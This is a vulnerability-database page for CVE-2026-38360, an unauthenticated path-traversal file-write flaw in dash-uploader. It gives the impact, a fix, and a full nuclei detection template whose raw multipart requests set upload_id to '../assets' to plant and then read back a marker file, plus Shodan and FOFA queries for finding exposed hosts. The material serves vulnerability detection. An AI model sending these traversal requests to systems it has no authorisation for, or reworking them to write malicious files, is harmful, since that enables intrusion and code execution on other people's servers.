HexBrain

Browse / CVEs / CVE-2026-38360

CVE-2026-38360· fohrloop / dash-uploader· CWE-22

dash-uploader 0.1.0 - 0.7.0a2 - Unauthenticated Arbitrary File Write via Path Traversal

criticalseverity
9.8CVSS score
6%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

fohrloop dash-uploader v0.1.0 through v0.7.0a2 contains a directory traversal vulnerability caused by improper handling in dash_uploader/httprequesthandler.py components, letting remote attackers execute arbitrary code, exploit requires no special privileges.

Impact

Remote attackers can execute arbitrary code, potentially leading to full system compromise.

Fix

Update to the latest version beyond v0.7.0a2.

How to confirm it

Send: POST /API/dash-uploader
Positive when: status_code == 200 and contains(body, filename)
Send: GET /assets/{{filename}}
Positive when: status_code == 200 and contains(body, marker)
Send: POST /API/resumable
Positive when: status_code == 200 and contains(body, filename)
Send: GET /assets/{{filename}}
Positive when: status_code == 200 and contains(body, marker)

Run it with nuclei: nuclei -id CVE-2026-38360 -u <target>

The full check
id: CVE-2026-38360

info:
  name: dash-uploader 0.1.0 - 0.7.0a2 - Unauthenticated Arbitrary File Write via Path Traversal
  author: a1ohadance
  severity: critical
  description: |
   fohrloop dash-uploader v0.1.0 through v0.7.0a2 contains a directory traversal vulnerability caused by improper handling in dash_uploader/httprequesthandler.py components, letting remote attackers execute arbitrary code, exploit requires no special privileges.
  impact: |
   Remote attackers can execute arbitrary code, potentially leading to full system compromise.
  remediation: |
   Update to the latest version beyond v0.7.0a2.
  reference:
    - https://github.com/a1ohadance/CVE-2026-38360
    - https://nvd.nist.gov/vuln/detail/CVE-2026-38360
    - https://github.com/advisories/GHSA-3rf6-x59v-5jfv
    - https://github.com/fohrloop/dash-uploader/issues/153
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-38360
    epss-score: 0.05982
    epss-percentile: 0.93366
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 4
    vendor: fohrloop
    product: dash-uploader
    shodan-query: html:"_dash-undo-redo"
    fofa-query: body="_dash-undo-redo"
  tags: cve,cve2026,dash-uploader,path-traversal,file-write,unauth,python

variables:
  marker: "{{rand_base(16)}}"
  filename: "nuclei_{{rand_base(8)}}.txt"
  boundary: "----nuclei{{rand_base(16)}}"

flow: (http(1) && http(2)) || (http(3) && http(4))

http:
  - raw:
      - |
        POST /API/dash-uploader HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}

        --{{boundary}}
        Content-Disposition: form-data; name="flowChunkNumber"

        1
        --{{boundary}}
        Content-Disposition: form-data; name="flowChunkSize"

        1048576
        --{{boundary}}
        Content-Disposition: form-data; name="flowCurrentChunkSize"

        16
        --{{boundary}}
        Content-Disposition: form-data; name="flowTotalSize"

        16
        --{{boundary}}
        Content-Disposition: form-data; name="flowIdentifier"

        nuclei-{{rand_base(8)}}
        --{{boundary}}
        Content-Disposition: form-data; name="flowFilename"

        {{filename}}
        --{{boundary}}
        Content-Disposition: form-data; name="flowRelativePath"

        {{filename}}
        --{{boundary}}
        Content-Disposition: form-data; name="flowTotalChunks"

        1
        --{{boundary}}
        Content-Disposition: form-data; name="upload_id"

        ../assets
        --{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}"
        Content-Type: application/octet-stream

        {{marker}}
        --{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, filename)'
        internal: true
        condition: and

  - raw:
      - |
        GET /assets/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, marker)'
        condition: and

  - raw:
      - |
        POST /API/resumable HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}

        --{{boundary}}
        Content-Disposition: form-data; name="resumableChunkNumber"

        1
        --{{boundary}}
        Content-Disposition: form-data; name="resumableChunkSize"

        1048576
        --{{boundary}}
        Content-Disposition: form-data; name="resumableCurrentChunkSize"

        16
        --{{boundary}}
        Content-Disposition: form-data; name="resumableTotalSize"

        16
        --{{boundary}}
        Content-Disposition: form-data; name="resumableIdentifier"

        nuclei-{{rand_base(8)}}
        --{{boundary}}
        Content-Disposition: form-data; name="resumableFilename"

        {{filename}}
        --{{boundary}}
        Content-Disposition: form-data; name="resumableRelativePath"

        {{filename}}
        --{{boundary}}
        Content-Disposition: form-data; name="resumableTotalChunks"

        1
        --{{boundary}}
        Content-Disposition: form-data; name="upload_id"

        ../assets
        --{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}"
        Content-Type: application/octet-stream

        {{marker}}
        --{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, filename)'
        internal: true
        condition: and

  - raw:
      - |
        GET /assets/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, marker)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from